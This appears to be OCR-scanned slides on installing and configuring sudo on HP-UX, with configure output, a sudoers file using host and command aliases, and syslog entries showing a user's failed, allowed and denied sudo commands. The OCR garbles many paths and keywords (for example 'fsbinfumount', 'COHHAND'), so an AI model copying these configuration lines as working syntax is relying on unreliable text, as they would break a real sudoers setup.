checking for POSIXized ISC... no

checking for uname... uname

checking for tr... tr

checking for sed... sed

checking for nroff... nroff

checking host system type... hppal.0-hp-hpuxi1.00

checking for shadow passwords... yes <«

Run make and make install




\||\||H|
- W Sudo _ -
g Createco niigurationifile

af

# Host alias specification
Host_nalias OFFICE=ctgB800.ctg/00
Host_Aalias LAB=ctg8002

# User alias specification

# Cmnd alias specification

Cmnd_Al ias HOUNT=/sbin/mount, fsbinfumount
Cmnd_aAl ias SHUTDOWN=/sb in/shutdown

# User privilege specification

#root  ALL=(ALL) ALL

cwong OFFICE=MHOUNT

cwong ALL=SHUTDOWN

“fopt/sudofetc/sudoers/stmp” 19 lines, 455 characters
#
# Ffopti/sudofetcivisudo




Iﬂ
Wl
W“

N
.

.

sudo

Vianipages availanle
\Wirrites tosyslog

# MANPATH=%MANPATH: fopt/sudo/man
# man visudo

# grep sudo syslog. log

Jan 16 09:47:10 ctg800 sudo: cwong : password incorrect ; TTY=pts/ta ; PHD=/h

ome/cwong ; USER=root ; COHHAND=/sbin/mount fdev/dsk/cdrom fcdron

Jan 16 09:49:46 ctg800 sudo: cwong : password incorrect ; TTY=pts/tb ; PHD=/h

ome/cwong ; USER=root ; COMHAND=/sbin/mount /fdev/dsk/cdrom fcdrom

Jan 16 09:50:55 ctg800 sudo: cwong : TTY¥=pts/tb ; PUD=/home/cwong ; USER=root
: COHHAND=/sbin/mount /fdev/dsk/cdrom fcdrom

Jan 16 09:53:32 ctgB800 sudo: cwong : command not allowed ; TTY=pts/tb : PUD=/

home/cwong : USER=root ; COMHMAND=/usr/sbinfvipw /etc/passwd

Jan 16 09:52:07 ctg800 sudo: cwong : TTY=pts/tb ; PUD=/home/cwong ; USER=root
: COHHAND=/sbin/mount /dev/dsk/cdrom /cdrom

Jan 16 09:49:0Z2 ctg800 sudo: cwong : password incorrect ; TTY=pts/ta ; PHD=/h

omefcwong ; USER=root ; COMHMAND=/sbin/mount fdev/dsk/cdrom fcdrom

Jan 16 10:03:18 ctg800 sudo: cwong : command not allowed ; TTY=pts/tb ; PUD=/

home/cwong ; USER=root ; COMHMAND=/usr/sbinfvipw fetc/passwd

Jan 16 10:03:29 ctg800 sudo: cwong : TTY¥=pts/tb ; PUD=/home/cwong ; USER=root
: COHHAND=/sbin/mount /dev/dsk/cdrom /cdrom




